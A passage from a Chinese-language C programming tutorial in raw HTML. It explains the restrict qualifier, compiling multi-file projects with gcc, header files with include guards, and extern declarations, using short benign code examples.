class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e pt = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e*) \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003erestrict\u003c/code\u003e表示变量\u003ccode\u003ept\u003c/code\u003e是访问 malloc 所分配内存的唯一方式。\u003c/p\u003e\u003cp\u003e下面例子的变量\u003ccode\u003efoo\u003c/code\u003e,就不能使用\u003ccode\u003erestrict\u003c/code\u003e修饰符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e foo[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* bar = foo;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003efoo\u003c/code\u003e指向的内存,可以用\u003ccode\u003efoo\u003c/code\u003e访问,也可以用\u003ccode\u003ebar\u003c/code\u003e访问,因此就不能将\u003ccode\u003efoo\u003c/code\u003e设为 restrict。\u003c/p\u003e\u003cp\u003e如果编译器知道某块内存只能用一个方式访问,可能可以更好地优化代码,因为不用担心其他地方会修改值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003erestrict\u003c/code\u003e用于函数参数时,表示参数的内存地址之间没有重叠。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eswap\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e b)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e t;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t = *a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *a = *b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *b = t;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数参数声明里的\u003ccode\u003erestrict\u003c/code\u003e表示,参数\u003ccode\u003ea\u003c/code\u003e和参数\u003ccode\u003eb\u003c/code\u003e的内存地址没有重叠。\u003c/p\u003e\u003ch2 id=\"多文件项目\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E6%96%87%E4%BB%B6%E9%A1%B9%E7%9B%AE\" class=\"headerlink\" title=\"多文件项目\"\u003e\u003c/a\u003e多文件项目\u003c/h2\u003e\u003ch3 id=\"简介-9\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-9\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e一个软件项目往往包含多个源码文件,编译时需要将这些文件一起编译,生成一个可执行文件。\u003c/p\u003e\u003cp\u003e假定一个项目有两个源码文件\u003ccode\u003efoo.c\u003c/code\u003e和\u003ccode\u003ebar.c\u003c/code\u003e,其中\u003ccode\u003efoo.c\u003c/code\u003e是主文件,\u003ccode\u003ebar.c\u003c/code\u003e是库文件。所谓“主文件”,就是包含了\u003ccode\u003emain()\u003c/code\u003e函数的项目入口文件,里面会引用库文件定义的各种函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File foo.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, add(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 5!\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,主文件\u003ccode\u003efoo.c\u003c/code\u003e调用了函数\u003ccode\u003eadd()\u003c/code\u003e,这个函数是在库文件\u003ccode\u003ebar.c\u003c/code\u003e里面定义的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File bar.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e y)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e x + y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在,将这两个文件一起编译。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -o foo foo.c bar.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## 更省事的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ gcc -o foo *.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令中,gcc 的\u003ccode\u003e-o\u003c/code\u003e参数指定生成的二进制可执行文件的文件名,本例是\u003ccode\u003efoo\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这个命令运行后,编译器会发出警告,原因是在编译\u003ccode\u003efoo.c\u003c/code\u003e的过程中,编译器发现一个不认识的函数\u003ccode\u003eadd()\u003c/code\u003e,\u003ccode\u003efoo.c\u003c/code\u003e里面没有这个函数的原型或者定义。因此,最好修改一下\u003ccode\u003efoo.c\u003c/code\u003e,在文件头部加入\u003ccode\u003eadd()\u003c/code\u003e的原型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File foo.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, add(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 5!\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在再编译就没有警告了。\u003c/p\u003e\u003cp\u003e你可能马上就会想到,如果有多个文件都使用这个函数\u003ccode\u003eadd()\u003c/code\u003e,那么每个文件都需要加入函数原型。一旦需要修改函数\u003ccode\u003eadd()\u003c/code\u003e(比如改变参数的数量),就会非常麻烦,需要每个文件逐一改动。所以,通常的做法是新建一个专门的头文件\u003ccode\u003ebar.h\u003c/code\u003e,放置所有在\u003ccode\u003ebar.c\u003c/code\u003e里面定义的函数的原型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File bar.h\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后使用\u003ccode\u003einclude\u003c/code\u003e命令,在用到这个函数的源码文件里面加载这个头文件\u003ccode\u003ebar.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File foo.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;bar.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, add(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 5!\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003e#include \u0026#34;bar.h\u0026#34;\u003c/code\u003e表示加入头文件\u003ccode\u003ebar.h\u003c/code\u003e。这个文件没有放在尖括号里面,表示它是用户提供的;它没有写路径,就表示与当前源码文件在同一个目录。\u003c/p\u003e\u003cp\u003e然后,最好在\u003ccode\u003ebar.c\u003c/code\u003e里面也加载这个头文件,这样可以让编译器验证,函数原型与函数定义是否一致。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File bar.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;bar.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a + b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在重新编译,就可以顺利得到二进制可执行文件。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -o foo foo.c bar.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"重复加载\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%87%8D%E5%A4%8D%E5%8A%A0%E8%BD%BD\" class=\"headerlink\" title=\"重复加载\"\u003e\u003c/a\u003e重复加载\u003c/h3\u003e\u003cp\u003e头文件里面还可以加载其他头文件,因此有可能产生重复加载。比如,\u003ccode\u003ea.h\u003c/code\u003e和\u003ccode\u003eb.h\u003c/code\u003e都加载了\u003ccode\u003ec.h\u003c/code\u003e,然后\u003ccode\u003efoo.c\u003c/code\u003e同时加载了\u003ccode\u003ea.h\u003c/code\u003e和\u003ccode\u003eb.h\u003c/code\u003e,这意味着\u003ccode\u003efoo.c\u003c/code\u003e会编译两次\u003ccode\u003ec.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e最好避免这种重复加载,虽然多次定义同一个函数原型并不会报错,但是有些语句重复使用会报错,比如多次重复定义同一个 Struct 数据结构。解决重复加载的常见方法是,在头文件里面设置一个专门的宏,加载时一旦发现这个宏存在,就不再继续加载当前文件了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File bar.h\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e BAR_H\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e BAR_H\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,头文件\u003ccode\u003ebar.h\u003c/code\u003e使用\u003ccode\u003e#ifndef\u003c/code\u003e和\u003ccode\u003e#endif\u003c/code\u003e设置了一个条件判断。每当加载这个头文件时,就会执行这个判断,查看有没有设置过宏\u003ccode\u003eBAR_H\u003c/code\u003e。如果设置过了,表明这个头文件已经加载过了,就不再重复加载了,反之就先设置一下这个宏,然后加载函数原型。\u003c/p\u003e\u003ch3 id=\"extern-说明符-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#extern-%E8%AF%B4%E6%98%8E%E7%AC%A6-1\" class=\"headerlink\" title=\"extern 说明符\"\u003e\u003c/a\u003eextern 说明符\u003c/h3\u003e\u003cp\u003e当前文件还可以使用其他文件定义的变量,这时要使用\u003ccode\u003eextern\u003c/code\u003e说明符,在当前文件中声明,这个变量是其他文件定义的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e myVar;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eextern\u003c/code\u003e说明符告诉编译器,变量\u003ccode\u003emyvar\u003c/code\u003e是其他脚本文件声明的,不需要在这里为它分配内存空间。\u003c/p\u003e\u003cp\u003e由于不需要分配内存空间,所以\u003ccode\u003eextern\u003c/code\u003e声明数组时,不需要给出数组长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种共享变量的声明,可以直接写在源码文件里面,也可以放在头文件中,通过\u003ccode\u003e#include\u003c/code\u003e指令加载。\u003c/p\u003e\u003ch3 id=\"static-说明符-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#static-%E8%AF%B4%E6%98%8E%E7%AC%A6-1\" class=\"headerlink\" title=\"static 说明符\"\u003e\u003c/a\u003estatic 